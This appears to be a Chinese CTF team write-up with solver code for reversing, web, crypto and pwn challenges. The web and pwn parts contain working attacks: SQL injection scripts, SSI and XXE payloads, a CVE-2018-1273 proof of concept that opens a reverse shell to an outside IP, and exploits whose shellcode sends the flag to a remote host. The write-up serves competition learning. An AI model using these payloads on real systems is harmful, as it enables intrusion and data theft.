RE
Hide and Seek
from z3 import *
from IPython import embed
flags = []
for _ in xrange(53):
flags.append(BitVec('a' + str(_),8))
so = Solver()
v0 = 34 * flags[0]+ 3 * flags[0] * flags[0]+ 120 * flags[0] * flags[0] * flags[0]+ 12
so.add(v0 == 39437721)
v0 = 96 * flags[1]+ 127 * flags[1] * flags[1]+ 41 * flags[1] * flags[1] * flags[1]+ 87
so.add(v0 == 16633575)
v0 = 26 * flags[2]+ 70 * flags[2] * flags[2]+ 12 * flags[2] * flags[2] * flags[2]+ 33
so.add(v0 == 7345865)
v0 = 88 * flags[3]+ 31 * flags[3] * flags[3]+ 71 * flags[3] * flags[3] * flags[3]+ 105
so.add(v0 == 132601485)
v0 = 67 * flags[4]+ 29 * flags[4] * flags[4]+ 69 * flags[4] * flags[4] * flags[4]+ 32
so.add(v0 == 122670437)
v0 = 23 * flags[5]+ 79 * flags[5] * flags[5]+ 117 * flags[5] * flags[5] * flags[5]+ 112
so.add(v0 == 160988851)
v0 = 101 * flags[6]+ 101 * flags[6] * flags[6]+ 13 * flags[6] * flags[6] * flags[6]+ 25
so.add(v0 == 22215400)
v0 = 120 * flags[7]+ 25 * flags[7] * flags[7]+ 37 * flags[7] * flags[7] * flags[7]+ 106
so.add(v0 == 31960006)
v0 = 101 * flags[8]+ 92 * flags[8] * flags[8]+ 40 * flags[8] * flags[8] * flags[8]+ 35
so.add(v0 == 62063350)
v0 = 11 * flags[9]+ 31 * flags[9] * flags[9]+ 67 * flags[9] * flags[9] * flags[9]+ 99
so.add(v0 == 75702427)
v0 = 16 * flags[10]+ 67 * flags[10] * flags[10]+ 74 * flags[10] * flags[10] * flags[10]+ 17
so.add(v0 == 102031994)
v0 = 21 * flags[11]+ 93 * flags[11] * flags[11]+ 67 * flags[11] * flags[11] * flags[11]+ 2
so.add(v0 == 108583607)
v0 = 62 * flags[12]+ 109 * flags[12] * flags[12]+ 107 * flags[12] * flags[12] * flags[12]+ 61
so.add(v0 == 136067317)
v0 = 104 * flags[13]+ 47 * flags[13] * flags[13]+ 117 * flags[13] * flags[13] * flags[13]+ 79
so.add(v0 == 117480479)
v5 = 68 * flags[14]+ 124 * flags[14] * flags[14]+ 88 * flags[14] * flags[14] * flags[14]+ 115
so.add( v5 == 76574675 )
v0 = 86 * flags[15]+ 50 * flags[15] * flags[15]+ (flags[15] * flags[15] * flags[15] * (2**6))+ 93
so.add(v0 == 70473929)
v0 = 100 * flags[16]+ 70 * flags[16] * flags[16]+ 118 * flags[16] * flags[16] * flags[16]+ 84
so.add(v0 == 162254112)
v0 = 39 * flags[17]+ 76 * flags[17] * flags[17]+ 50 * flags[17] * flags[17] * flags[17]+ 23
so.add(v0 == 43558378)
v0 = 101 * flags[18]+ 74 * flags[18] * flags[18]+ 67 * flags[18] * flags[18] * flags[18]+ 45
so.add(v0 == 71881179)
v0 = 31 * flags[19]+ 115 * flags[19] * flags[19]+ 101 * flags[19] * flags[19] * flags[19]+ 7
so.add(v0 == 139551094)
v0 = 20 * flags[20]+ 11 * flags[20] * flags[20]+ 69 * flags[20] * flags[20] * flags[20]+ 119
so.add(v0 == 102371891)
v0 = 83 * flags[21]+ 122 * flags[21] * flags[21]+ 27 * flags[21] * flags[21] * flags[21]+ 111
so.add(v0 == 24258171)
v0 = 34 * flags[22]+ 51 * flags[22] * flags[22]+ 66 * flags[22] * flags[22] * flags[22]+ 10
so.add(v0 == 88466850)
v0 = 16 * flags[23]+ 58 * flags[23] * flags[23]+ 115 * flags[23] * flags[23] * flags[23]+ 35
so.add(v0 == 105504704)
v0 = 50 * flags[24]+ 125 * flags[24] * flags[24]+ 51 * flags[24] * flags[24] * flags[24]+ 18
so.add(v0 == 79223518)
v0 = 26 * flags[25]+ 127 * flags[25] * flags[25]+ 10 * flags[25] * flags[25] * flags[25]+ 3
so.add(v0 == 10950294)
v0 = 122 * flags[26]+ 83 * flags[26] * flags[26]+ 92 * flags[26] * flags[26] * flags[26]+ 60
so.add(v0 == 126858297)
v0 = 56 * flags[27]+ 36 * flags[27] * flags[27]+ 110 * flags[27] * flags[27] * flags[27]+ 69
so.add(v0 == 146851829)
v0 = 110 * flags[28]+ 23 * flags[28] * flags[28]+ 32 * flags[28] * flags[28] * flags[28]+ 127
so.add(v0 == 32241127)
v0 = 58 * flags[29]+ 123 * flags[29] * flags[29]+ 22 * flags[29] * flags[29] * flags[29]+ 44
so.add(v0 == 26829959)
v0 = 122 * flags[30]+ 60 * flags[30] * flags[30]+ 92 * flags[30] * flags[30] * flags[30]+ 65
so.add(v0 == 123191485)
v0 = 88 * flags[31]+ 36 * flags[31] * flags[31]+ 38 * flags[31] * flags[31] * flags[31]+ 38
so.add(v0 == 52423340)
v0 = 80 * flags[32]+ 72 * flags[32] * flags[32]+ 127 * flags[32] * flags[32] * flags[32]+ 44
so.add(v0 == 109544069)
v0 = 13 * flags[33]+ 23 * flags[33] * flags[33]+ 94 * flags[33] * flags[33] * flags[33]+ 28
so.add(v0 == 158732224)
v0 = 80 * flags[34]+ 24 * flags[34] * flags[34]+ 46 * flags[34] * flags[34] * flags[34]+ 79
so.add(v0 == 63215689)
v0 = 100 * flags[35]+ 101 * flags[35] * flags[35]+ 75 * flags[35] * flags[35] * flags[35]+ 104
so.add(v0 == 112439900)
v0 = 96 * flags[36]+ 8 * flags[36] * flags[36]+ 4 * flags[36] * flags[36] * flags[36]+ 49
so.add(v0 == 5142577)
v0 = 14 * flags[37]+ 89 * flags[37] * flags[37]+ 113 * flags[37] * flags[37] * flags[37]+ 56
so.add(v0 == 113891456)
v0 = 9 * flags[38]+ 82 * flags[38] * flags[38]+ 18 * flags[38] * flags[38] * flags[38]+ 74
so.add(v0 == 16173729)
v0 = 56 * flags[39]+ 14 * flags[39] * flags[39]+ 117 * flags[39] * flags[39] * flags[39]+ 70
so.add(v0 == 113667811)
v0 = 53 * flags[40]+ 49 * flags[40] * flags[40]+ 89 * flags[40] * flags[40] * flags[40]+ 94
so.add(v0 == 100648486)
v4 = 6 * flags[41]+ 23 * flags[41] * flags[41]+ 38 * flags[41] * flags[41] * flags[41]+ 22
so.add(v4 == 34898585)
v0 = 29 * flags[42]+ 72 * flags[42] * flags[42]+ 21 * flags[42] * flags[42] * flags[42]+ 43
so.add(v0 == 28054245)
v0 = 16 * flags[43]+ 90 * flags[43] * flags[43]+ 68 * flags[43] * flags[43] * flags[43]+ 105
so.add(v0 == 96665961)
v0 = 73 * flags[44]+ 116 * flags[44] * flags[44]+ 102 * flags[44] * flags[44] * flags[44]+ 51
so.add(v0 == 119364366)
v0 = 101 * flags[45]+ 15 * flags[45] * flags[45]+ 13 * flags[45] * flags[45] * flags[45]+ 34
so.add(v0 == 17975263)
v0 = 59 * flags[46]+ 72 * flags[46] * flags[46]+ 52 * flags[46] * flags[46] * flags[46]+ 83
so.add(v0 == 70089773)
v0 = 50 * flags[47]+ 22 * flags[47] * flags[47]+ 55 * flags[47] * flags[47] * flags[47]+ 41
so.add(v0 == 83944866)
v0 = 77 * flags[48]+ 42 * flags[48] * flags[48]+ 119 * flags[48] * flags[48] * flags[48]+ 110
so.add(v0 == 134321206)
v0 = 91 * flags[49]+ 38 * flags[49] * flags[49]+ 126 * flags[49] * flags[49] * flags[49]+ 64
so.add(v0 == 146289319)
v0 = 113 * flags[50]+ 113 * flags[50] * flags[50]+ 119 * flags[50] * flags[50] * flags[50]+ 22
so.add(v0 == 168616582)
v0 = 24 * flags[51]+ 88 * flags[51] * flags[51]+ 98 * flags[51] * flags[51] * flags[51]+ 30
so.add(v0 == 192784280)
v0 = 96 * flags[52]+ 12 * flags[52] * flags[52]+ 74 * flags[52] * flags[52] * flags[52]+ 104
so.add(v0 == 104)
print(so.check())
m = so.model()
print(m)
res = ''
for ii in xrange(53):
t = m[flags[ii]]
print(t)
res += chr(int(t.as_long()))
print(res)
you_should_go_for_nascondino_world_championship
tailbone
验证flag的函数是在exit里调用的,调用栈如下
#0 0x0000000000400647 in flag_wrong ()
#1 0x00007ffff7de7de7 in _dl_fini () at dl-fini.c:235
#2 0x00007ffff7a46ff8 in __run_exit_handlers (status=0, listp=0x7ffff7dd15f8 <__exit_funcs>, run_list_atexit=run_list_atexit@entry=true) at exit.c:82
#3 0x00007ffff7a47045 in __GI_exit (status=<optimized out>) at exit.c:104
#4 0x00007ffff7a2d837 in __libc_start_main (main=0x400648 <main>, argc=1, argv=0x7fffffffd5d8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffd5c8) at ../csu/libc-start.c:325
#5 0x0000000000400559 in _start ()
dl_fini+819有个call,这个函数把输入装进xmm寄存器,然后用aesenc指令加密,最后比较
_eh_frame段里是真正的加密函数
static uint8_t xtime(uint8_t x)
{
return ((x<<1) ^ (((x>>7) & 1) * 0x1b));
}
static uint8_t Multiply(uint8_t x, uint8_t y)
{
return (((y & 1) * x) ^
((y>>1 & 1) * xtime(x)) ^
((y>>2 & 1) * xtime(xtime(x))) ^
((y>>3 & 1) * xtime(xtime(xtime(x)))) ^
((y>>4 & 1) * xtime(xtime(xtime(xtime(x)))))); /* this last call to xtime() can be omitted */
}
static void InvMixColumns(state_t* state)
{
int i;
uint8_t a, b, c, d;
for (i = 0; i < 4; ++i)
{
a = (*state)[i][0];
b = (*state)[i][1];
c = (*state)[i][2];
d = (*state)[i][3];
(*state)[i][0] = Multiply(a, 0x0e) ^ Multiply(b, 0x0b) ^ Multiply(c, 0x0d) ^ Multiply(d, 0x09);
(*state)[i][1] = Multiply(a, 0x09) ^ Multiply(b, 0x0e) ^ Multiply(c, 0x0b) ^ Multiply(d, 0x0d);
(*state)[i][2] = Multiply(a, 0x0d) ^ Multiply(b, 0x09) ^ Multiply(c, 0x0e) ^ Multiply(d, 0x0b);
(*state)[i][3] = Multiply(a, 0x0b) ^ Multiply(b, 0x0d) ^ Multiply(c, 0x09) ^ Multiply(d, 0x0e);
}
}
// The SubBytes Function Substitutes the values in the
// state matrix with values in an S-box.
static void InvSubBytes(state_t* state)
{
uint8_t i, j;
for (i = 0; i < 4; ++i)
{
for (j = 0; j < 4; ++j)
{
(*state)[j][i] = getSBoxInvert((*state)[j][i]);
}
}
}
static void InvShiftRows(state_t* state)
{
uint8_t temp;
// Rotate first row 1 columns to right
temp = (*state)[3][1];
(*state)[3][1] = (*state)[2][1];
(*state)[2][1] = (*state)[1][1];
(*state)[1][1] = (*state)[0][1];
(*state)[0][1] = temp;
// Rotate second row 2 columns to right
temp = (*state)[0][2];
(*state)[0][2] = (*state)[2][2];
(*state)[2][2] = temp;
temp = (*state)[1][2];
(*state)[1][2] = (*state)[3][2];
(*state)[3][2] = temp;
// Rotate third row 3 columns to right
temp = (*state)[0][3];
(*state)[0][3] = (*state)[1][3];
(*state)[1][3] = (*state)[2][3];
(*state)[2][3] = (*state)[3][3];
(*state)[3][3] = temp;
}
static void aesdec(state_t* state, uint8_t* RoundKey)
{
AddRoundKey(0, state, RoundKey);
InvMixColumns(state);
InvSubBytes(state);
InvShiftRows(state);
}
然后
aesdec(xmm0, xmm5)
aesdec(xmm0, xmm4)
aesdec(xmm0, xmm3)
aesdec(xmm0, xmm2)
aesdec(xmm1, xmm9)
aesdec(xmm1, xmm8)
aesdec(xmm1, xmm7)
aesdec(xmm1, xmm6)
get flag
web
SimpleBBS
登录 sql注入 sqlmap直接跑
python sqlmap.py -u "http://bbs.sec.zju.edu.cn/index.php/login/valid" --data "username=*&password=asd" -D bbs -T flag --dump
SimpleBlog
import hashlib
import requests
import re
import random
import time
import threading
import binascii
reg = "http://210.32.4.20/register.php"
log = "http://210.32.4.20/login.php"
pro = "http://210.32.4.20/answer.php"
def md5(msg):
return hashlib.md5(msg.encode()).hexdigest()
def deadbeef(payload):
#random_str = "".join(random.sample("abcdefghijklmnopqrstuvwxyz", 10))
random_str = ""
usr = payload + random_str
# print(usr)
s = requests.session()
# print('[Session start]')
s.post(reg, data={'username': usr, 'password': "werewr123"})
# print("[Registered]")
s.post(log, data={'username': usr, 'password': "werewr123"})
# print("[Log in]")
text = s.post(pro, data={'10.d':'on'}).text
# print("[Submit]")
def two(ind, cont, pos, flag):
print("[pos %d start]" % pos)
payload = "admin' and if((({})>'{}{}'),(select count(*) from information_schema.columns A,information_schema.columns B,information_schema.columns C),0)#"
#payload = "admin' and if((({})>'{}{}'),(select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C,information_schema.columns D),0)#"
l = 33
r = 127
while l < r:
mid = (l + r) >> 1
time1 = time.time()
deadbeef(payload.format(cont, flag, chr(mid)))
time2 = time.time()
if time2-time1 > 10:
l = mid + 1
else:
r = mid
flag += chr(l-1)
print(flag)
return flag
# result[pos] = chr(l)
print("[pos %d end]" % pos)
def sqli(cont):
print("[Start]")
sz = 40
flag = ""
for i in range(1, sz + 1):
flag = two(i, cont, i, flag)
#for i in range(1, sz + 1):
# if i > sz:
# t[i % sz].join()
# t[i % sz] = threading.Thread(target=two, args=(i, cont, i, res))
# t[i % sz].start()
# t[i % sz].join()
#for th in t:
# th.join()
#return "".join(res)
res = sqli("select flag from flag")
# print(res)
SimpleServerInjection
http://210.32.4.22/index.php?name=<!--#include virtual="flag" -->
SimpleExtensionExplorerInjection
POST /www/ HTTP/1.1
Host: 210.32.4.21:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://210.32.4.21:8080/www/index.html
Content-Type: application/xml; charset=UTF-8
Content-Length: 130
Connection: close
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<deadbeef>
<age>&xxe;</age>
</deadbeef>
SimplePrintEventLogger
CVE-2018-1273
反弹shell POC
POST /www/backdoor HTTP/1.1
Host: 210.32.4.21:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 197
command[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("bash+-c+%7becho%2cYmFzaCAtaSA%2bJiAvZGV2L3RjcC80Mi4xNTkuNC4xNi8yMzMyMyAwPiYx%7d%7c%7bbase64%2c-d%7d%7c%7bbash%2c-i%7d")]=asd
SimpleAssemblyReverse
不太明白题目里都写着Reverse了为啥还算在Web分类下面0.0
静态分析及准备
访问IP只有一个输入窗口和按钮
之前做过几个WebAssembly的题目了,也算轻车熟路了233
用Chrome按F12调出Network窗口,找到flag.wasm,选择Open in new tab
,即可保存下来binary
(Firefox也是可以下载和动态调试的,但是试了一下没有找到在哪里查看内存,所以就放弃了)
这个binary是编译过的,没有可读性,因此需要使用官方的wabt套件中的wasm2c, wasm2wat工具来反编译
当然这个c语言和wat的可读性仍然不高,只是将每个寄存器都直接作为局部变量显示出来而已
所以要逆向的话一方面以此作为参考,另一方面主要还是动态调试
动态调试的方法
打开f12的Sources窗口,看到html的源代码中调用了_check
函数
而在wasm中是看不到函数名字的,只有标号
通过wasm2wat可以找到对应关系
(export "_check" (func 53))
然后在左侧找到wasm,选择合适的函数打开即可下断
(如果没有wasm,多刷新两次,瞎鸡儿点点试试233)
另一边也可以打开wasm2c的结果对照着看,里面的函数是有check的名字
当下在check的断点被触发以后,就能看到此时的内存和栈了
wasm是基于栈的,它的所有计算都是以栈顶的若干元素进行操作的,例如add表示将栈顶的两个数弹出,相加后再压进栈;store表示将栈顶的数存入下一个数指向的内存,然后弹出这两个数。
右侧Scope一栏里的信息是最主要需要关注的
- Global
对应Firefox中的Memory,Chrome将其视作一个巨大的数组,通过下标查看值 - Local
- locals
显示参数和局部变量,每个函数使用的局部变量是彼此独立的 - stack
操作栈,所有运算都基于它
- locals
右上方的几个熟悉的图标就是调试命令的按钮啦,快捷键分别为F8是Run,F10是步过Next,F11是步进Step
本题题解
单步跟着调试,通过locals的值可以发现两个参数分别是input和len
第一个判断很容易发现
//104 line
get_local 172
i32.const 38
i32.ne
set_local 173
get_local 173
if
将长度和38放入栈中,然后用i32.ne来判断,后面if就是识别栈里的内容为1则继续,否则跳到else分支里
我们可以看到,不等时的分支会直接return 0;
也就是说长度要求为48
第二个运算在这里
//line 247
get_local 14
i32.const 3
i32.add
set_local 15
get_local 15
i32.const 255
i32.and
逐字符+3
(前面还有一些初始化空间的循环操作,没啥关系我就直接跳过了)
后面我跟了很久的正向操作都没有找到有用的信息,f797里实在是太绕了
(可能其实就是没啥用-A-)
后来想起来倒着从返回值逆推
拉到函数最后去看,这里推荐主要参考wasm2c的结果
i0 = l149;
i0 = i32_load8_s(Z_envZ_memory, (u64)(i0));
l5 = i0;
i0 = l5;
i1 = 1u;
i0 &= i1;
l100 = i0;
i0 = l191;
g10 = i0;
i0 = l100;
goto Bfunc;
Bfunc:;
FUNC_EPILOGUE;
return i0;
这里可以看出来返回值存储在l149指向的内存中,继续跟着l149向上找
i0 = l123;
i0 = i32_load8_s(Z_envZ_memory, (u64)(i0));
l4 = i0;
i0 = l4;
i1 = 1u;
i0 &= i1;
l99 = i0;
i0 = l99;
i1 = 1u;
i0 &= i1;
l3 = i0;
i0 = l149;
i1 = l3;
i32_store8(Z_envZ_memory, (u64)(i0), i1);
同理,返回值在l123指向的内存中
i0 = f798(i0, i1, i2, i3, i4);//要求i0=1
l97 = i0;
i0 = l97;
i1 = 0u;
i0 = i0 == i1;
l98 = i0;
i0 = l98;
i1 = 1u;
i0 &= i1;
l2 = i0;
i0 = l123;
i1 = l2;
i32_store8(Z_envZ_memory, (u64)(i0), i1);
往上一点儿就看到这里了
这一大堆东西实际上可以简化成
return f798();
因此我们需要去逆一下f798?
不,直接动调看它的参数和返回值就好了,当成黑盒来操作
下断,运行,触发断点
stack:
0:24624
1:0
2:-1
3:13910
4:52
去Globals里依次查看i0和i3
很明显这是一串数据,先放着不管,去看另一个
这个地方只有3个字节,但其实它是个指针(这一点是在之前正向跟随的时候注意到有i32.store会四字节存放、而调试器只会把每个字节以十进制显示)
把624开头的4个字节以大端序转换成十六进制可以得到下一个地址:0x506998,再转成十进制5269912
去查看Globals
又是一串数据,前后都是0,可以看到长度为52个字节,对应上参数4
可以修改一下输入再测试一下,发现后者的地址和值都变了,而13910处的值没有改变,所以可以推测出是input->*24624, strcmp(13910, *24624)
继续往上溯源,可以找到是f52对Input进行了改变,由38个字节input变成52个字节output
这两个数字敏感一些的人就直接可以猜到了
我觉得奇怪不是逐字节加密,于是继续往里跟着看了一下,发现有/3、/4操作的时候就反应过来了--base64
于是把之前那两串数据dump下来,转成ASCII再解b64,分别得到
>>> a = [chr(i) for i in [77, 122, 81, 49, 78, 106, 99, 52, 79, 84, 111, 55, 80, 68, 77, 48, 78, 84, 89, 51, 79, 68, 107, 54, 79, 122, 119, 122, 78, 68, 85, 50, 78, 122, 103, 53, 79, 106, 115, 56, 77, 122, 81, 49, 78, 106, 99, 52, 79, 84, 111, 61]]
>>> base64.b64decode("".join(a).encode())
b'3456789:;<3456789:;<3456789:;<3456789:'
>>> a = [chr(i) for i in [97, 87, 57, 107, 97, 110, 52, 48, 78, 71, 103, 122, 79, 84, 78, 107, 78, 87, 90, 111, 78, 68, 116, 108, 79, 106, 108, 111, 78, 109, 107, 49, 79, 84, 104, 109, 78, 122, 107, 52, 79, 50, 100, 107, 80, 68, 82, 111, 90, 111, 65, 61
... ]]
>>> base64.b64decode("".join(a).encode())
b'iodj~44h393d5fh4;e:9h6i598f798;gd<4hf\x80'
有点像乱码,但是没有报错说明思路没错
前者对应的输入是
01234567890123456789012345678901234567
可以看到非常相似,再回想一下还有一个操作,是逐字符+3,正好对应上
于是对后一个串做逐字符-3,就得到了结果
>>> "".join([chr(i-3) for i in base64.b64decode("".join(a).encode())])
'flag{11e060a2ce18b76e3f265c4658da91ec}'
Misc
GoGoGo
ftp 传了个 gogogo.png 抠出来就是flag
Checkin
from pwn import *
p=remote("210.32.4.14",port=13373)
line1=''
line2=''
line3=''
line4=''
line5=''
line6=''
line7=''
line8=''
line9=''
line10=''
line11=''
line={}
for i in range(10):
line[str(i)]={}
for i in 'abcdefghijklmnopqrstuvwxyz':
line[i]={}
line['a'][7]='d8( 888 '
line['b'][4]=' 888oooo. '
line['c'][8]='`Y8bod8P\' '
line['c'][6]='888 '
line['d'][4]=' .oooo888 '
line['e'][6]='888ooo888 '
line['f'][3]=' 888 `" '
line['g'][4]=' .oooooooo '
line['h'][5]=' 888P"Y88b '
line['i'][3]=' `"\' '
line['j'][10]='.o. 88P '
line['k'][4]=' 888 oooo '
line['l'][3]='`888 '
line['l'][4]=' 888 '
line['l'][5]=' 888 '
line['l'][6]=' 888 '
line['m'][8]='o888o o888o o888o '
line['n'][5]='`888P"Y88b '
line['o'][6]='888 888 '
line['o'][7]='888 888 '
line['o'][9]=' '
line['p'][8]=' 888bod8P\' '
line['q'][4]=' .ooooo oo '
line['r'][4]='oooo d8b '
line['s'][5]='d88( "8 '
line['t'][4]='.o888oo '
line['u'][4]='oooo oooo '
line['v'][5]=' `88. .8\' '
line['v'][9]=' '
line['w'][6]=' `88..]88..8\' '
line['x'][4]='oooo ooo '
line['x'][9]=' '
line['y'][10]='`Y8P\' '
line['y'][9]='.o..P\' '
line['z'][5]=' d\'\"\"7d8P '
line['0'][3]=' d8P\'`Y8b '
line['1'][2]=' .o '
line['2'][4]=' ]8P\' '
line['2'][8]='8888888888 '
line['3'][4]=' ]8P\' '
line['4'][4]=' .d\'888 '
line['5'][3]=' dP""""""" '
line['6'][8]=' `88bod8\' '
line['7'][3]='d"""""""8\' '
line['8'][6]='.8\' ``88b '
line['9'][3]='888\' `Y88. '
def retchar(i):
if line7[i:i+18]==line['a'][7]:
return 'a'
if line4[i:i+18]==line['b'][4]:
return 'b'
if line8[i:i+18]==line['c'][8] and line6[i:i+18]==line['c'][6]:
return 'c'
if line4[i:i+18]==line['d'][4]:
return 'd'
if line6[i:i+18]==line['e'][6]:
return 'e'
if line3[i:i+18]==line['f'][3]:
return 'f'
if line4[i:i+18]==line['g'][4]:
return 'g'
if line5[i:i+18]==line['h'][5]:
return 'h'
if line3[i:i+18]==line['i'][3]:
return 'i'
if line10[i:i+18]==line['j'][10]:
return 'j'
if line4[i:i+18]==line['k'][4]:
return 'k'
if line3[i:i+18]==line['l'][3] and line4[i:i+18]==line['l'][4] and line5[i:i+18]==line['l'][5] :
return 'l'
if line8[i:i+18]==line['m'][8]:
return 'm'
if line5[i:i+18]==line['n'][5]:
return 'n'
if line6[i:i+18]==line['o'][6] and line9[i:i+18]==line['o'][9] and line7[i:i+18]==line['o'][7]:
return 'o'
if line8[i:i+18]==line['p'][8]:
return 'p'
if line4[i:i+18]==line['q'][4]:
return 'q'
if line4[i:i+18]==line['r'][4]:
return 'r'
if line5[i:i+18]==line['s'][5]:
return 's'
if line4[i:i+18]==line['t'][4]:
return 't'
if line4[i:i+18]==line['u'][4]:
return 'u'
if line5[i:i+18]==line['v'][5] and line9[i:i+18]==line['v'][9]:
return 'v'
if line6[i:i+18]==line['w'][6]:
return 'w'
if line4[i:i+18]==line['x'][4] and line9[i:i+18]==line['x'][9]:
return 'x'
if line10[i:i+18]==line['y'][10] and line9[i:i+18]==line['y'][9]:
return 'y'
if line5[i:i+18]==line['z'][5]:
return 'z'
if line3[i:i+18]==line['0'][3]:
return '0'
if line2[i:i+18]==line['1'][2]:
return '1'
if line4[i:i+18]==line['2'][4] and line8[i:i+18]==line['2'][8]:
return '2'
if line4[i:i+18]==line['3'][4]:
return '3'
if line4[i:i+18]==line['4'][4]:
return '4'
if line3[i:i+18]==line['5'][3]:
return '5'
if line8[i:i+18]==line['6'][8]:
return '6'
if line3[i:i+18]==line['7'][3]:
return '7'
if line6[i:i+18]==line['8'][6]:
return '8'
if line3[i:i+18]==line['9'][3]:
return '9'
return '+'
p.recvuntil('A 20 rounds unCAPTCHA to get your flag! you may need a wider screen...\n')
for time in range(20):
if time == 0:
line1 = p.recvline()
line2 = p.recvline()
line3 = p.recvline()
line4 = p.recvline()
line5 = p.recvline()
line6 = p.recvline()
line7 = p.recvline()
line8 = p.recvline()
line9 = p.recvline()
line10 = p.recvline()
line11 = p.recvuntil('your captcha:')
payload=''
for i in range(0,6*18,18):
payload+=retchar(i)
print "payload : "+payload
p.sendline(payload)
print p.recv(1024)
p.interactive()
Youchat
爆破时间戳
服务器时间戳 = 1537004467
算出key用recv函数把msg解掉就行
Crypto
AzureRSA
$p=\gcd(n_1,n_2)$ 可以直接求出来
from data import *
import gmpy2
def main():
f14 = crt([n1, n2], [pow(c1, d1, n1), pow(c2, d2, n2)])
d14 = modinv(14, (q1 - 1) * (q2 - 1))
f2 = pow(f14, d14, q1 * q2)
f = int(gmpy2.isqrt(f2))
print(f.to_bytes(64, 'big'))
if __name__ == '__main__':
main()
可以解 $c_1^{d_1}\equiv m^{14}\pmod{n_1}\c_2^{d_2}\equiv m^{14}\pmod{n_2}$
可用剩余定理求得 $m^{14}\pmod{\operatorname{lcm}(n_1,n_2)}$
设 $e=14$, 可以解得 $\displaystyle d\equiv\left(\frac {14}2\right)^{-1}\pmod{q_1q_2}$, 则 $\left(m^e\right)^d\equiv m^2\pmod{p_1p_2}$, 直接开根号.
pwn
hack
分别leak出libc的地址,随后从envp leak出栈的地址
用unlink攻击栈,让栈迁移到堆上执行one_gadget
from pwn import *
context.log_level = 'debug'
context.aslr = True
def pwn(p):
p.recvuntil('address:')
p.sendline(str(0x804A010))
p.recvuntil('0x')
libc_base = int(p.recvuntil('\n', drop=True), 16) - 0x49020
log.success('libc:{}'.format(hex(libc_base)))
p.recvuntil('Second chance: ')
p.sendline(str(libc_base + 0x001B1DBC))
p.recvuntil('0x')
stack_ptr = int(p.recvuntil('\n', drop=True), 16)
old_esp_addr = stack_ptr - 0xb8
log.success('stack_ptr:{}'.format(hex(stack_ptr)))
log.success('old_esp_addr:{}'.format(hex(old_esp_addr)))
p.recvuntil('of the node is 0x')
heap_base = int(p.recvuntil(',', drop=True), 16) - 0x20
log.success('heap_base:{}'.format(hex(heap_base)))
p.recvuntil('node now: ')
payload = p32(0x3A940 + libc_base) + 'sh\x00\x00' + p32(heap_base + 0x20 + 4) + p32(old_esp_addr - 0x8)
payload = p32(0x3a80e + libc_base) + 'sh\x00\x00' + p32(heap_base + 0x20 + 4) + p32(old_esp_addr - 0x8)
payload = p32(0x3a819 + libc_base) + 'sh\x00\x00' + p32(heap_base + 0x20 + 4) + p32(old_esp_addr - 0x8)
#gdb.attach(p)
p.send(payload)
p.interactive()
if __name__ == '__main__':
p = process('./hack')
p = remote('210.32.4.16', 13375)
pwn(p)
DNS of Melody
在edit取size时 size是按int取的,当解析dns失败时会导致无限长度的栈溢出
调用memcpy在bss段copy出alarm的地址,修改低位得到syscall,调用mprotect令bss段可执行
写shellcode让程序读取flag并反弹出外界
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
def add_query(p, l, payload):
p.recvuntil('Select:\n')
p.sendline('1')
p.recvuntil('give me length: \n')
p.sendline(str(l))
p.send(payload)
def query(p, idx):
p.recvuntil('Select:\n')
p.sendline('2')
p.recvuntil('give me index: \n')
p.sendline(str(idx))
def edit_query(p, idx, payload):
p.recvuntil('Select:\n')
p.sendline('4')
p.recvuntil('give me index: \n')
p.sendline(str(idx))
p.send(payload)
def pwn(p):
bss_addr = 0x602300
#gdb.attach(p)
payload = 'test\n'
add_query(p, 0x100, payload)
query(p, 0)
payload = '\x0510\x00aaaa'
payload += asm(shellcraft.amd64.linux.connect('39.108.116.36', 12345))
payload += asm(shellcraft.amd64.linux.readfile('flag', 0))
payload = payload.ljust(0x190, 'a')
payload += p64(0) + p64(0)*2
payload += flat([0x4012AA, 0, 1, 0x601FE0, 8, 0x601FA8, bss_addr, 0x401290]) # memcpy
payload += flat([0, 0, 1, 0x601FE0, 1, 0x602060, bss_addr, 0x401290]) # memcpy
payload += flat([0, 0, 1, 0x601FF0, 0, 0, 0x602061, 0x401290]) # atoi
payload += flat([0, 0, 1, bss_addr, 7, 0x1000, 0x602000, 0x401290]) # mprotect
payload += flat([0, 0, 0, 0, 0, 0, 0, 0x602068])
edit_query(p, 0, payload + '\n')
p.interactive()
if __name__ == '__main__':
#p = process('./dns_of_melody')
p = remote('210.32.4.15', 13374)
pwn(p)